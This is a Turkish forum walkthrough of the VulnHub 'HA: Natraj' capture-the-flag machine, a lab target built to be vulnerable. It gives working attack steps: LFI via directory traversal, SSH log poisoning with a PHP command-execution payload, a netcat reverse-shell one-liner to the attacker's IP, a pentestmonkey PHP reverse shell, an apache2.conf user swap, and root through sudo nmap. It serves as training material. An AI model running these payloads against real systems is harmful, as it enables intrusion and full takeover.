HA : natraj CTF Çözümü

whitend06

Özel Üye
27 Nis 2020
142
605

Arkadaşlar merhabalar HA: Natraj isimli CTF’in çözümünü açıklayacağım.
İndirmek için https://www.vulnhub.com/entry/ha-natraj,489/ linkini kullanabilirsiniz.

Arkadaşlar çalışmalarımı VMware üzerinde yapacağım.
İlk olarak indirdiğimiz makinayı open ile VMware üzerinde açıyoruz

TJ5qp3.jpg


Default olarak “Network Adapter” ayarı Bridge olarak gelmektedir. Alışkanlık olarak onu bi “NAT”seçeneğine alıyorum.

cwdf0Q.jpg


Herşey hazırsa başlayalım.
İlk olarak genelde kullanılan “netdiscover” toolu dışında bir başka tool (arp-scan) ile bu host discover işlemini yaparak başlayalım.

Kod:
arp-scan -l

“arp-scan -l” komutu network üzerinde ki arp paketlerini dinleyerek bir listeleme yapar.

OxiiGI.jpg


Sonuçlar üzerinde kendi ip adresinizi göremezsiniz. Arp protokolü doğası gereği, kendi paketlerini kendi üzerlerine almazlar.
Port taraması ile devam edelim standart olarak “nmap” aracı ile ilerleyeceğiz.

Kod:
nmap –sV –A 10.1.1.165

-sV : version check
-A : agresif bir tarama başlat. (Enable OS detection, version detection, script scanning, and traceroute)

GP63R5.jpg


22 ve 80 portunu açık olarak bulduk.

İleride muhtemelen ssh için 22 portunu kullanacağız. Ancak ctf makinalarında banner üzerine flag yada hint gömülebiliyor kontrol etmekte fayda vardır.

OV5e33.jpg


Bişey çıkmadı. 80 üzerinden devam edelim.

SpjamW.jpg


Eğer ki ortada bir web sitesi varsa ilk akla gelen “dirb” aracı olmalıdır.
dirb : verilen sayfa üzerinde wordlistinde bulunan (dışarıdanda verilebilir) sonuna ekleyerek status kodlarına göre geri dönüş yapar. “wfuzz” aracı muadili olarak düşünülebilir. Prensip olarak aynı çalışsalarda sadece wordlistleri farklıdır. Zaten wordlistleri dışarıdan verilebileceğini söylemiştik.

Kod:
dirb http://10.1.1.165

S0RnWD.jpg


“console” isminde bir dizin buldu.

DA1cQh.jpg


Klasör içerisinde “file.php” dosyası var.
“LFI” için çanlar çalıyor.
“Directory Traversal” deneyelim.

Xvl3fI.jpg


Tamaaam kapıyı bulduk :mahcup:

Web request üzerinde gerçekleşen bir zafiyet bulunuyorsa testleri elimizle yapmak yerine “Burp Suit” aracını kullanmak kolaylık sağlayacaktır.
Burp Suit : Proxy olarak araya girerek çeşitli payloadlar deneyebileceğiniz, requesteri manipüle ederek tekrar tekrar deneyebileceğiniz ve daha bir sürü şey yapabileceğiniz bir araçtır.
Aşağıda belirtildiği şekilde tarayıcınızın Proxy ayarlarını burp için yapabilirsiniz. Burp Suit default olarak 8080 portunu dinler.

MLvSRu.jpg


3AzCOy.jpg


q49OyK.jpg


Burp Suit aracını açıyoruz ve daha önceden yaptığımız “http://10.1.1.165/console/file.php?file=../../../../../../../../../../../etc/passwd” isteğini yeniliyoruz.

Oov0fS.jpg


İstek Burp Suit üzerinde “Proxy” sekmesi altında “Intercept” sekmesine düşmektedir.

eKK4Pu.jpg


Burada ki file parametresini manupule edeceğiz. Bunun için Burp Suitin “Repeater” özelliğini kullanacağız.
Burp Suit : Repeater : adından da anlaşılacağı gibi kendisine verilen isteği tekrarlar. Bu aşamada bize web request üzerinde oynama yapma imkanı sağlar.
Görülen isteğin herhangi bir yerinde sağ tık yapılır > “Send to Repeater”

NMH39U.jpg


Repeater sekmesine geldiğimiz zaman orada web requestimiz gelmiştir.
“Send” tuşuna basarak isteği tekrar gönderebiliriz ve “Response” bölümünde isteğimize gelen karşılık bulunmaktadır.

3tDD8S.jpg


biz passwd dosyasını response olarak alabiliyorsak peki başka dosyaları da alabilir miyiz ?

Denemek istediğim dosya bir log dosyası.
Linux bir sistemde “ssh” giriş logları “/var/log/auth.log” dosyası altında bulunmaktadır.

akjW5p.jpg


Şimdi arkadaşlar şu ana kadar neler öğrendik bir toplayalım.
-Sistem üzerinde php kullanılıyor.
-LFI zafiyeti var ve Directory Traversal şeklinde exploit edilebiliyor.
-ssh denemeleri yapabiliriz.
Şimdi şunu düşünmenizi istiyorum /var/log/auth.log dosyası çağırıldığı zaman aslında bir php server üzerinde render ediliyor ve ekrana veriliyor. Peki bir şekilde auth.log dosyası içerisine php kodu gömebilirsek ne olur ?

Deneyelim.

Kod:
ssh '<?php system($_GET['cmd']); ?>'@10.1.1.165

Şeklinde bir ssh denemesi yapalım. Burada ki amacımız; auth.log dosyasını “cmd” parametresi ile dışarıdan komut alabilir hale getirmek ve aldığı komutu system fonksiyonuna vererek kodun çalıştırılmasını sağlamak.

bBoIZn.jpg


“NOT: arkadaşlar denemeler yaparken birkaç defa CTF makinasını bozdum. Dolayısıyla eğer ki denemeler sonucunda response kısmını boş yada anlamsız görüyorsanız CTF makinasını silip geri yüklemek zorunda kalabilirsiniz :mahcup:"

MZ3eQ2.jpg


Cmd parametresi üzerinde “id” komutunu gönderdiğimiz taktirde; komutun işlenip geri dönüş yaptığını gözlemleyebiliyoruz.
Shell almak için kullanacağımız komut;

Kod:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.1.1.163 1234 >/tmp/f

Linux sistemler üzerinde /tmp klasörü permissionları genellikle 777 şeklinde yani herkesin kullanabileceği şekilde gelir.

9ANKiD.jpg


Kafa karışıklığı olmaması için elimden geldiği kadar kullanacağımız kodu açıklayayım.
rm /tmp/f : tmp klasörü altında ki f dosyasını sil.
mkfifo /tmp/f : tmp altında f dosyasını oluştur.
cat /tmp/f|/bin/sh -i 2>&1: f dosyasını oku ve çıktısını (|) /bin/sh üzerinde çalıştır error loglarını çöpe at (2>&1)
nc 10.1.1.163 1234 > /tmp/f : netcat ile saldırgan makinaya 1234 portu üzerine bağlan gelen istekleri /tmp/f dosyasına yaz (bir üst satırda bahsedildiği şekilde girilen komutlar çalıştırılır)
mkfifo komutuna ufak bir değinmek istiyorum.
mkfifo bir dosya oluşturur ve süreçler arası iletişim için müsait bir dosya oluşturur.
Saldırgan üzerinden gelen komutların /bin/sh üzerinde çalıştırılabilmesi için gereklidir.


Konumuza dönersek elimizde bir komut var ancak biz bunu Burp Suit ile göndermek mecburiyetindeyiz. Bunu web request e uygun bir hale getirmek için “Url Encode” yapmamız gerekmektedir.

Dnz88p.jpg


netcat aracı ile bir handler oluşturuyoruz.

zCt9MF.jpg


İsteğimizi gönderelim.

9li68j.jpg


Response kısmını boş görmemiz gerekiyor. Eğer ki geri dönüş alıyorsanız komutu tekrar kontrol ediniz.

sIPscq.jpg


Shell geldi. Öncelikle shellimizi interaktif Shelle çevirelim.
Python 2 için : python -c 'import pty; pty.spawn("/bin/bash")';
Python 3 için : python3 -c 'import pty; pty.spawn("/bin/bash")';
Komutlarını kullanabilirsiniz.

yZOlXi.jpg


E bunu yazmasaydık olmaz mıydı ? olurdu ama tercih meselesi tabi.

Kod:
cat /etc/passwd

Komutu ile sistemde bulunan kullanıcıların listesini alıyoruz. Burada bakmamız gereken sistemin kendisi için varolan kullanıcılar dışında son kullanıcılar için oluşturulan kullanıcılardır.

vVrm9w.jpg


“natraj” ve “mahakal” kullanıcılarını keşfediyoruz.

Kod:
cd /tmp

Komutu ile tmp klasörüne gidiyoruz.

Kod:
find / -type f -perm 0777 > 777

bu komut ile makine üzerinde 777 full permission verilmiş dosyaları ekrana getirir. Ancak doğrudan yazıldığı zaman çoğu dosyada permission denied görebiliriz. Bunları exclude edebilmek için bir dosyaya yazdırıyoruz.

RvNNjZ.jpg


zu3Qfs.jpg


Apache2.conf dosyası apache servisinin configuration dosyasıdır.

İçerisinde User ve Group isminde 2 adet değişken vardır.
Standart olarak apache2 servisi cihaz üzerinde sadece bu iş için oluşturulmuş “www-data” kullanıcısını kullanır. Bu kullanıcıyı bu dosyadan alır.

E4XsQc.jpg


Kod:
cp /etc/apache2/apache2.conf /tmp/apache2.conf

apache2.conf dosyasını tmp altına kopyalıyoruz. Bu dosyayı değiştirmek için saldırgan makine üzerine alacağız. Nano ve vi kullanımı sıkıntı yarattı shellden dolayı.

nFZuSu.jpg


Eğer ki sistem üzerinde python var ise; bu işlem için en basit kullanabilecek işlem python ile basit bir web servis ayaklandırmaktır.
Version 2 için : python -m SimpleHTTPServer 9090
Version 3 için : python3 -m http.server 9090

r056PJ.jpg


Kod:
wget http://10.1.1.165:9090/apache2.conf

Saldırgan makine üzerinde "wget" komutu ile download işlemi gerçekleştirilir.

hAsvEx.jpg


apache2.conf dosyasında bulunan User ve Group değerlerini ilk başta bulduğumuz kullanıcı isimlerinden birisi olan “mahakal” ile değiştiriyoruz.

ASU2Pz.jpg


Yine python ile bir web servis açarak dosyayı ctf makinası üzerine wget ile taşıyoruz. (tmp klasörü altına kopyaladığımız apache2.conf dosyasını siliyoruz.)

xIyHac.jpg


Kod:
cp /tmp/apache2.conf /etc/apache2/apache2.conf

Mevcut apache2.conf dosyasını overwrite ediyoruz.

JS61Ju.jpg


Php üzerinden tcp reverse shell alabilmek için https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php sitesinde bulunan kodları shell.php dosyası üzerine kopyalıyoruz.

59ez20.jpg


“CHANGE THIS” olarak verilen 2 parametreyi değiştiriyoruz.
$ip = saldırgan ip
$port = dinlenecek port

RrIN6s.jpg


Yine python ile servis açıp wget ile dosyayı çekiyoruz ve /var/www/html/ altına kopyalıyoruz.

iltAq0.jpg


Netcat aracı ile 5555 portu üzerine yeni bir handler açıyoruz.

kc6Zoq.jpg


Shell.php dosyasını çağırmadan önce ctf makinasını restart etmemiz gerekmekte. Çünkü apache2.conf dosyasını değiştirdik ancak geçerli olabilmesi için apache2 servisini yeniden başlatmamız gerekli. “service apache2 restart” komutunu denedim ancak çalışmadı. Açıkçası çokta uğraşasım gelmedi direk restart ettim makinayı :mahcup:

72mFZs.jpg


kSIWo3.jpg


Kod:
sudo –l

Bu komutu ile “sudoers” dosyası üzerinde bulunan ve kullanıcı için özellikle izin verilmiş dosyaları görebiliriz.

EpaZZP.jpg


“(root) NOPASSWD : /usr/bin/nmap”
peki bu bize ne söyler ?
nmap aracını root yetkisi ile parola sormadan çalıştırabiliriz.
Nmap aracı üzerinde nmapin kendi scriptlerini yada dışardan kendimizin verebileceği scriptleri kullanabilmemiz mümkündür. Bu ctf üzerinde bu özelliği kullanacağız.

Kod:
TF=$(mktemp)
TF isminde bir parametre oluşturmak için bunu kullanıyoruz.

Kod:
echo ‘os.execute(“/bin/sh”)’ > $TF
TF değişkeni üzerine os.execute çıktısını veriyoruz.

Kod:
sudo –u root nmap –script=$TF
nmap aracını root olarak çalıştır ve script olarak TF değişkenini kullan.

Kodlar böyle ama neden ?
Os.execute(“/bin/sh”) komutunu script olarak nmap e veriyoruz ve nmapi root olarak çalıştırıyoruz. Os.execute bize mevcut kullanıcının shellini veriyor ve biz nmap aracını root yetkisi ile çalıştırdığımız için bize root kullanıcısının shellini veriyor.

Artık rootuz

orCNrf.jpg


Kod:
cat /root/root.txt

Captured the flag !!!

0J6CjS.jpg


Arkadaşlar herhangi bir konu hakkında soru işaretiniz varsa herzaman mesaj ile iletişim kurabilirsiniz.

Okuduğunuz için teşekkürler.

İyi Forumlar.


 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.